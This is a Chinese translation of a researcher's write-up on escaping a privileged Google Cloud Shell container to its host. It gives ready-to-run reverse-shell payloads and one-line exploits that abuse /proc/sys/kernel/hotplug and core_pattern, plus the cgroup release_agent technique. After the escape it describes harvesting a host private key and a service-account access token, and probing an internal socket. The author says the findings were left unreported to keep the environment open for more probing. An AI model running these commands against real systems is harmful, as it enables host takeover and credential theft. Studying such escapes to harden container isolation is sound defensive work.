文章总结: 本文详述GoogleCloudShell容器逃逸实战,作者利用特权容器权限,成功劫持/proc/sys/kernel/hotplug及core_pattern机制逃逸至宿主机。经分析,宿主机为基于KVM的Container-OptimizedOS虚拟机,虽获取服务账户令牌但仍受KVM隔离。文章展示了云环境特权容器利用及后渗透分析思路,具有较高实战参考价值。
综合评分: 88
文章分类: 云安全,实战经验,渗透测试,漏洞分析,红队
Google Cloud Shell 容器逃逸与内核漏洞利用实战
Dubito
云原生安全指北
2025年12月17日 08:35
江苏
注:本文翻译自 Cuberk[1] – Bipin Jitiya 的文章《Google Cloud Shell Container Escape》[2],可点击文末“阅读原文”按钮查看英文原文。
全文如下:
一、引言
在印度一个雨季末的晴朗周末早晨,我坐在窗边,手里拿着笔记本电脑,在“多线程”的层面上思考着自然与人生。紧接着我想到的,就是去黑点什么(当然是符合道德地),这对我来说是第二兴奋的事情!(你可以猜猜第一件是什么。😄)
出于进行安全分析的动机,我开始对当前最热门的公司之一:OpenAI 进行侦察。任何接触过它的人都知道,他们运行着庞大的IT基础设施,拥有许多用于研究和模型训练的子域名。当我在笔记本电脑上扫描时,像 httpx 这样的工具,由于我的机器计算能力/带宽有限,总是会断开连接或中途终止扫描。使用 VPS 本会有所帮助,但成本是个障碍。
我开始使用 Google Cloud Shell[3]——这是 Google Cloud 提供的一个免费 Linux Shell 环境,它提供持久的 5 GB 存储空间以及稳定、高速的连接。这很棒,但和任何免费服务一样,它也有局限性:默认的每周 Cloud Shell 配额是 50 小时,一旦达到这个限制,你就必须等待配额重置 ¯\_(ツ)_/¯。
我最初的目标是绕过 Cloud Shell 的限制,但在分析环境时,我意识到 Cloud Shell 的配置和代码库是多么复杂和庞大。同时我也注意到,Google Cloud 运行着一个漏洞奖励计划[4](大约一年前启动)。
因此,我将重点从 OpenAI 转向了 Google Cloud Shell。
每当我遇到这样的终端,我的最终目标都是获得 root shell,但在这里我发现,我已经拥有 root 访问权限了!
二、虚拟牢笼背后
在 Google Cloud Shell 上运行自动化枚举脚本 (LinEnum[5]) 时,一些输出立即引起了我的注意,并让我对底层环境产生了怀疑。
/proc/version 文件显示了一些不寻常的内容。内核是在 Chromium OS 下编译的。然而,/etc/os-release 仍报告操作系统为 Ubuntu 24.04.3 LTS。
Chromium OS 内核与 Ubuntu 用户空间之间的这种不匹配立即引起了怀疑。这是一个明显的容器化环境迹象,即容器在一个操作系统(Chromium/ChromeOS)的主机内核之上,运行另一个操作系统(Ubuntu)的用户态程序。
为了确认我的假设,我运行了:
这证实了 Docker 容器的存在
接下来,我通过检查 cgroup 配置来验证这一点:
两者都指向了 /k8s.io/... 下的路径,这表明容器是通过 Kubernetes 进行编排的。
最后,我检查了 init 进程:
结果显示,PID 1 是 bash 而不是 systemd,这是另一个最小化容器环境的指标。
所有这些证据共同证实,Google Cloud Shell 运行在一个由 Kubernetes 编排的 Docker 容器内部,而不是一台独立的计算机或虚拟机。
三、逃离无形的牢笼
一意识到自己被困在 Docker 容器中,我的第一个小目标就很明确:逃出容器。
是时候测试围墙了。
进一步分析时,一个关键问题浮现在脑海中——我是否运行在一个特权 Docker 容器中?特权容器几乎拥有对主机的无限制访问权,包括内核级操作、设备访问和无限制挂载。
3.1 权限评估
我首先检查了可用的 capabilities(Linux 内核分配给进程的一组权限),以检测是否处于特权容器内。
值 000001ffffffffff 是一个十六进制位掩码,代表所有当前激活的 capabilities。为了理解其含义,我使用 capsh 工具对其进行了解码。
解码后的列表清晰地显示了具有高度影响力的 capabilities,例如:
- •
cap_sys_admin—— 允许挂载文件系统和执行管理操作。 - •
cap_sys_module—— 允许加载和卸载内核模块。 - •
cap_net_admin—— 授予网络配置特权。
这些高权限 capabilities 的存在,证实了容器是以 --privileged 标志启动的。
我的路径很清晰:利用这些 capabilities 中的任何一个,尝试逃逸到主机或进行权限提升。
四、攻击尝试 – 时间线
4.1 尝试 #1 – 内核模块 (CAP_SYS_MODULE)
首先,cap_sys_module 引起了我的注意。我搜索了 “cap_sys_module escaping container”,找到了 IBM PTC Security 撰写的一篇名为 《逃逸容器:通过 CAP_SYS_MODULE 将内核模块加载武器化》[6] 的文章。
我迅速尝试了那篇博客中解释的方法。首先,我通过检查 /proc/sys/kernel/modules_disabled(其值为 0)确认了内核模块加载功能已启用。接着,我在容器内创建了一个恶意的内核模块(hello.c)和对应的 Makefile,并编译它们以生成 .ko 文件。然后,我尝试使用 insmod 将模块加载到主机内核上。
模块加载失败了,因为主机内核强制执行了内核模块签名验证(KMSV,Kernel Module Signature Verification)。这意味着,它只会加载那些使用主机系统信任的加密密钥进行数字签名的模块。由于我编译的模块未签名,因此被立即拒绝了。:(
我付出了代价才明白这一点。如果你遇到类似情况,不要再浪费时间构建未签名模块,而应该检查内核命令行中的 module.sig_enforce 参数。这是检查是否显式设置了模块签名验证的主要方法:
- • 如果输出包含
module.sig_enforce=1—— KMSV 被显式 启用/强制执行。 - • 如果没有输出,或者输出包含
module.sig_enforce=0—— 该参数禁用了强制执行。
4.2 尝试 #2 – cgroups v1 release_agent (notify_on_release)
我探索了其他逃逸特权容器的方法,并在 X/Twitter 上看到了这篇帖子[7]。
这个负载看起来很古怪,对吧?让我们理解其背后的逻辑。
该核心技术滥用了 cgroups v1 的一个旧特性,名为 notify_on_release。通过在 cgroup 层级中启用此特性,并设置一个 release_agent(指向位于容器文件系统路径下、由攻击者控制的宿主机脚本),攻击者可以在该 cgroup 中的最后一个进程退出时,导致该脚本在宿主机上以特权 root 身份执行。
还是不明白?这是一个经过梳理、去混淆后的相同负载的 shell 脚本版本,并附有解释:
# 1. 挂载 cgroup 文件系统,并创建子 cgroup 'x'
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 2. 为新 cgroup 启用释放通知
echo 1 > /tmp/cgrp/x/notify_on_release
# 3. 查找容器在宿主机上的路径,并将其设置为 release_agent 脚本
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 4. 在容器的共享文件系统中创建恶意脚本 (/cmd)
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd # 要在宿主机上运行的命令
chmod a+x /cmd
# 5. 在 cgroup 'x' 中执行一个立即退出的进程,以触发负载
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
当我在 Cloud Shell 中尝试运行这个负载时,它在第一步就失败了:
这个错误不言自明。cgroup 层级已经全局挂载在 /sys/fs/cgroup,因此我们无法再次挂载。你可以使用 mount 命令来确认这一点:
从输出中可以看出,它使用的是 cgroup2 —— 即统一层级。
根据 Linux 的 cgroups 手册页[8],release_agent 和 notify_on_release 文件属于 cgroups v1,在 cgroups v2 中已被移除。我迅速检查了一下:
这些文件对于该漏洞利用至关重要,这意味着此负载仅适用于 cgroups v1 系统,而对于使用 cgroup v2 统一层级的 Google Cloud Shell 则无效。
此路已不通。
4.3 尝试 #3 – 成功的逃逸!
第二天早晨,我带着新的希望醒来。前两次尝试虽然失败了,但它们教会了我很多,在我看来,这正是失败的乐趣所在。
我学到的一个基本教训是:容器共享宿主机内核(这与虚拟机不同,虚拟机在 Hypervisor 之上运行客户机内核)。这意味着主机内核中的任何漏洞都可能影响所有容器:一个内核漏洞利用可能成为一种容器逃逸手段,穿越命名空间和 capability 的边界,直达宿主机。
要从 Docker 容器中逃逸并在宿主机上执行代码,通常需要两个核心要素:
- 1. 载荷(payload):一个放置在容器文件系统中、准备由宿主机执行的二进制文件或脚本(例如,一个反弹 shell)。你必须知道该文件在宿主机视角下的绝对路径。
- 2. 漏洞(攻击向量):一个内核漏洞、错误配置或合法的内核特性,能够被滥用,使得容器内的一个进程能够导致主机内核(或宿主机上的特权进程)执行那个载荷。
下面我将描述我尝试过并取得成功的两种实用方法。
五、方法 #1 – hotplug 劫持
5.1 载荷
我在容器内创建了一个小的反弹 Shell 脚本:
#!/bin/sh
nc -e /bin/bash <CONTAINER_IP> <PORT>
为了连接回来,你可以使用 nc(netcat)或宿主机上任何可用的替代反弹 Shell 机制[9]。
提示: 要找到容器 IP,使用
ip a show dev eth0或hostname -I。如果hostname -I打印出多个地址,第一个通常是容器的主 IP。
将其保存为 /shell 并赋予可执行权限(chmod +x /shell)。
我在同一个端口的另一个容器终端中启动了一个 nc 监听器,以便接收传入的连接:
sudo apt install netcat-traditional # 如果尚未安装
nc -lvnp <PORT>
载荷已在容器内部创建,我们仍然需要该文件的宿主机绝对路径,以便宿主机执行它。主机内核或宿主机进程看到的不是容器内的简单路径(例如 /shell);它看到的是容器的根文件系统在宿主机上的挂载位置。
容器运行时(Docker、containerd 等)使用 OverlayFS 来实现分层文件系统。这意味着,容器的可写层(/shell 所在的位置)实际上是宿主机上的一个目录,该目录在容器内显示为 /。使用 mount 输出来定位容器的可写层(upperdir):
将宿主机的 upperdir 与容器内路径拼接,即可得到宿主机可见的载荷绝对路径。最终的载荷宿主机路径为:
/var/lib/containerd/io.containerd.snapshotter.v1.gcfs/snapshotter/snapshots/236/fs/shell
5.2 攻击向量
Linux 的 hotplug 子系统在发生热插拔事件时(例如,当出现新的网络设备时),会执行在 /proc/sys/kernel/hotplug 中指定的辅助程序。通过将我们的载荷在宿主机上的绝对路径写入 /proc/sys/kernel/hotplug,内核将在下一次热插拔事件发生时调用该路径,从而在宿主机上运行我们的载荷。
将宿主机路径写入 hotplug:
5.3 触发热插拔事件:
触发热插拔事件的一个简单方法是创建一个测试网络设备:
ip link add test0 type dummy || ip link add test0 type tun # 取决于可用的驱动程序
ip link delete test0
这会导致内核调用其被劫持的热插拔辅助程序,该程序已指向我们的载荷,内核将在宿主机上执行它。
我的监听器显示收到了来自宿主机的连接。
哇!!成功了。
宿主机回应了。边界已被穿越。
为了确认逃逸成功,我重新运行了本文开头使用的检查命令。输出结果清楚地表明我现在正在宿主机上执行:
- •
systemd-detect-virt返回google,表明环境是 Google 机器(宿主机端),而不是容器运行时。 - •
cat /proc/self/cgroup显示0::/,意味着当前进程位于根 cgroup(没有容器特定的 cgroup 条目)。 - •
ps -p 1显示 PID 1 是systemd,证实了系统运行的是宿主机 init(systemd)。
我使用了命令
python3 -c 'import pty, os; pty.spawn("/bin/bash")'和export TERM=xterm-256color将 netcat shell 转换为交互式终端。这使得终端能够正确显示颜色和格式,从而提升了整体的 Shell 体验。
5.4 单行命令载荷
打开一个终端窗口,使用 nc -lvnp 9001 启动监听器。然后,在新的终端窗口中,运行以下单行命令载荷,以接收来自宿主机的 root shell 连接,从而逃逸容器。
echo '#!/bin/sh\nnc -c /bin/bash '$(hostname -I|awk '{print $1}')' 9001' | sudo tee /shell > /dev/null && sudo chmod +x /shell; echo "$(mount|grep upper|sed -E 's/.*upperdir=([^,]+).*/\1/')/shell" | sudo tee /proc/sys/kernel/hotplug > /dev/null; sudo ip link add test0 type dummy && sudo ip link delete test0
六、方法 #2 – core_pattern 劫持
6.1 思路 / 攻击向量
/proc/sys/kernel/core_pattern 控制着当进程崩溃并产生核心转储时内核的行为。如果该值以管道符(|)开头,内核会将剩余部分作为程序执行,并将原始核心字节流发送到该程序的 stdin。关键在于,内核是在宿主机上下文(而非容器内部)执行这个 execve() 的,因此处理程序拥有宿主机级别的权限。当容器能够写入该模式或将其指向宿主机可执行的程序时,这种行为使 core_pattern 成为一个强大的攻击向量。
6.2 载荷
与文件路径(我们的反弹 Shell 脚本路径)不同,core_pattern 接受一个管道处理程序:一个以 | 为前缀的程序调用。内核要求[10]程序必须通过绝对路径名(例如 /usr/bin/nc)指定。在我的案例中,我写了一个处理程序,它调用 nc 连接回我的监听器:
echo '|/usr/bin/nc -e /bin/sh <CONTAINER_IP> <PORT>' | sudo tee /proc/sys/kernel/core_pattern >/dev/null
设置处理程序以调用宿主机 nc 并连接回攻击者监听器
请注意: 在方法 #1 中,我将
/shell脚本放置在容器内;在此方法(方法 #2)中,你也可以通过其在宿主机侧的绝对路径(容器的upperdir)来引用同一个脚本/载荷。
6.3 触发崩溃:
我启动了一个我控制的简单进程并使其崩溃(通过强制其使用 -SEGV 或 -SIGABRT 标志生成崩溃转储),以便内核调用处理程序:
sleep 9999 &
echo $! > /tmp/sleep.pid
kill -SIGABRT $(cat /tmp/sleep.pid)
启动并终止一个 sleep 进程
或者,你可以编译并运行一个解引用 NULL(导致段错误)的小型 C 程序。
gcc -x c -o /tmp/a - <<< 'int main(){volatile int *p=0;*p=1;}' && /tmp/a
当进程崩溃时,内核检测到管道式的 core_pattern,在宿主机上 fork()/execve() 了处理程序,并将核心转储数据流传输到处理程序的 stdin。由于我的处理程序是一个反弹 Shell 调用,宿主机连接回我的监听器,于是我从节点收到了一个 root shell。
从 Docker 容器内列出根目录
从宿主机列出根目录
6.4 单行命令载荷
打开一个终端窗口,使用 nc -lvnp 9001 启动监听器。然后,在新的终端窗口中,运行以下单行命令载荷,以接收来自宿主机的 root shell 连接,从而逃逸容器。
echo "|/usr/bin/nc -e /bin/bash $(hostname -I|awk '{print $1}') 9001" | sudo tee /proc/sys/kernel/core_pattern > /dev/null; (sleep 60 & kill -SIGABRT $!)
七、主机指纹识别
宿主机运行的是 Container-Optimized OS 117 (Lakitu),这是一个由 Google 维护的极简 Linux 发行版,专为在 Google Cloud 环境中运行 Docker 和 containerd 工作负载而设计。
在宿主机系统上,我观察到了 k8s.io 命名空间下的多个容器:
诸如 metadata-proxy、command-recorder、gateway、client-communication-service 和 orchestrator 等容器似乎是 GCP Cloud Shell 服务 Pod,通过 Kubernetes 进行编排。
我能够通过在这些容器内运行命令来进一步检查它们。
此外,宿主机上的 /var/log/containers/ 目录包含遵循标准 Kubernetes 日志命名规范(<pod_name>.log)的 .log 文件。
接下来,我检查了临时文件,在 /tmp 目录下发现了两个有趣的文件:
- 1.
/tmp/key1524398165—— 包含一个私钥 - 2.
/tmp/cert1424204183—— 一份由 Google DevOps 签发的证书
虽然我无法确定它们的确切用途,但它们很可能被 Cloud Shell 的后端代理或 gRPC 服务层用于安全的服务间通信。我决定稍后再深入调查。
Google Cloud Shell 的另一个重要方面是“在 Cloud Shell 中打开”功能。该功能允许用户通过将用户提供的值传递给一组预定义的 URL 参数,直接与 Cloud Shell 环境交互,正如官方 Google Cloud 文档[11] 中所记载。
在内部,此功能是通过 Cloud Shell 环境内一个名为 cloudshell_open 的 shell 函数实现的。这不是一个独立的二进制文件,而是一个Linux shell 函数,它最终会调用可执行文件 /google/devshell/bin/cloudshell_open_go,将所有用户提供的参数作为命令行参数传递。
cloudshell_open_go 是一个编译好的 ELF 可执行文件,对其进行静态审查和分析非常困难。
有趣的是,在宿主机系统上,我找到了与该二进制文件对应的未经编译的 Go 源代码。这些源文件位于 containerd 快照目录内。
此脚本作为一个本地客户端,通过 TCP 套接字(在 localhost:8998 上)与 Google Cloud Shell 前端服务进行通信。其主要作用是向 Cloud Shell UI 发送结构化的控制消息(长度前缀、PBLite 格式的 JSON 消息),以触发诸如打开文件、下载文件或打开工作空间等操作。
为了演示底层发生的情况,我创建了以下单行 bash 载荷,它直接与相同的内部套接字端点交互,完全绕过了包装脚本(wrapper script):
req='[null,null,null,[null,[["/etc/passwd"]]]]'; \
printf "%s\n%s" ${#req} "$req" > /dev/tcp/127.0.0.1/8998
执行后,Cloud Shell 前端解析了该消息,并立即触发了一个针对 /etc/passwd 文件的下载提示,如下所示:
进一步的调查让我发现了一个通过符号链接绕过的路径遍历漏洞,我将其记录为一份单独的报告[12]。
我的下一步是查询 GCE Metadata API[13]。我向端点发送了一个请求:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
该 API 用于获取与当前实例关联的服务账户的详细信息。从 Docker 容器内部查询时,它返回了我的用户邮箱地址;而从宿主机查询时,它返回了一个可能关联着底层 Google Compute Engine 实例的服务账户[14]。
我迅速为该服务账户生成了一个访问令牌:
我将令牌存储在 $ACCESSTOKEN 中,并通过 Google APIs 验证了其有效性,以审查其关联的权限。
在众多权限中,引起我注意的是 devstorage.read_only。
为了进一步探索,我需要获取当前项目 ID。项目 ID 可以从服务账户邮箱地址的子域名中推导出来。另外,也可以通过 metadata API 获取:
使用项目 ID 和访问令牌,我尝试列出存储桶。不幸的是,请求返回了 403 Forbidden 错误。
至此,我意识到需要彻底查阅 GCE 文档来调试这一行为。我决定暂缓此事,继续在宿主机上进行侦察。
我想确认宿主机是运行在裸机上,还是处于虚拟机内部。我查询了系统的 DMI 信息:
root@cloudshell-014XXXXa-3f10-4f87-a664-014XXXXXX5ac / # dmidecode -s system-product-name
Google Compute Engine
root@cloudshell-014XXXXa-3f10-4f87-a664-014XXXXXX5ac / #
输出结果明确显示 “Google Compute Engine”,这清楚地表明宿主机是作为 GCE 虚拟机运行的,而非裸机。
接着,我检查了内核日志以寻找虚拟化组件的迹象:
dmesg | grep -iE 'hypervisor|kvm|qemu|vmware|xen'
日志无可置疑地证实了这一点:
内核确实是在 KVM hypervisor 下启动的,这是 Google Cloud 为其计算实例使用的标准虚拟化层。
为了进一步验证,我列出了所有连接的 PCI 设备:
lspci | grep -i 'virtual\|virtio\|vmware\|qemu\|xen'
输出结果显示存在多个 Virtio 设备(网络、SCSI、RNG、balloon),证实了这是一个半虚拟化环境,这在基于 KVM/QEMU 的虚拟机中很典型。
此外,/proc/cpuinfo 包含了 hypervisor 标志,这是另一个确凿的证据,表明内核运行在虚拟化环境中:
grep -E 'vmx|svm|hypervisor' /proc/cpuinfo
综合这些迹象证实,当前会话正运行在一台Google Compute Engine 虚拟机内部,其底层是基于 KVM 的 Hypervisor,并使用 Virtio 半虚拟化设备。
至此,我明白了为什么我无法访问任何客户敏感数据或其他用户信息。我成功揭露了 Cloud Shell 基础设施的一层,但仍然被隔离在 KVM 边界之内。
逃逸了,但未自由。
打破这种隔离确实将是一个重要的里程碑,但这需要对环境进行更深入的探索、对 KVM/Linux 内部机制进行广泛研究,并对 Google Cloud 的后端架构有扎实的理解。
考虑到本文篇幅已长,我决定在此结束。希望这篇剖析能帮助你了解 Google Cloud Shell 的底层架构,以及如何系统地分析此类环境。
我尚未向 Google 报告这些发现(截至撰写本文时),因为它们似乎并未构成重大的安全影响。我倾向于保持环境完整以供进一步研究。祝我好运吧——如果我发现更有价值的东西,我会在这个系列的下篇文章中分享!🥂
引用链接
[1] Cuberk: https://cuberk.com/
[2] 《Google Cloud Shell Container Escape》: https://medium.com/@win3zz/google-cloud-shell-container-escape-b69ffb46b5df
[3] Google Cloud Shell: https://shell.cloud.google.com/?show=terminal
[4] 漏洞奖励计划: https://bughunters.google.com/about/rules/google-friends/4849867320328192/cloud-vulnerability-reward-program-rules
[5] LinEnum: https://github.com/rebootuser/LinEnum
[6] 《逃逸容器:通过 CAP_SYS_MODULE 将内核模块加载武器化》: https://medium.com/@ibm_ptc_security/escaping-the-container-weaponizing-kernel-module-loading-via-cap-sys-module-538008b3d8d8
[7] 这篇帖子: https://x.com/_fel1x/status/1151487051986087936
[8] Linux 的 cgroups 手册页: https://man7.org/linux/man-pages/man7/cgroups.7.html#:~:text=The%20cgroups%20v1%20release_agent%20and%0A%20%20%20%20%20%20%20notify_on_release%20files%20are%20removed
[9] 可用的替代反弹 Shell 机制: https://www.revshells.com/
[10] 要求: https://man7.org/linux/man-pages/man5/core.5.html#:~:text=The%20program%20must%20be%20specified%20using%20an%20absolute%20pathname
[11] Google Cloud 文档: https://docs.cloud.google.com/shell/docs/open-in-cloud-shell
[12] 单独的报告: https://github.com/win3zz/root_symlink/blob/main/GoogleCloudShell.md
[13] GCE Metadata API: https://docs.cloud.google.com/compute/docs/metadata/overview
[14] **服务账户**: https://docs.cloud.google.com/iam/docs/service-account-overview
交流群
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:云原生安全指北 Dubito《Google Cloud Shell 容器逃逸与内核漏洞利用实战》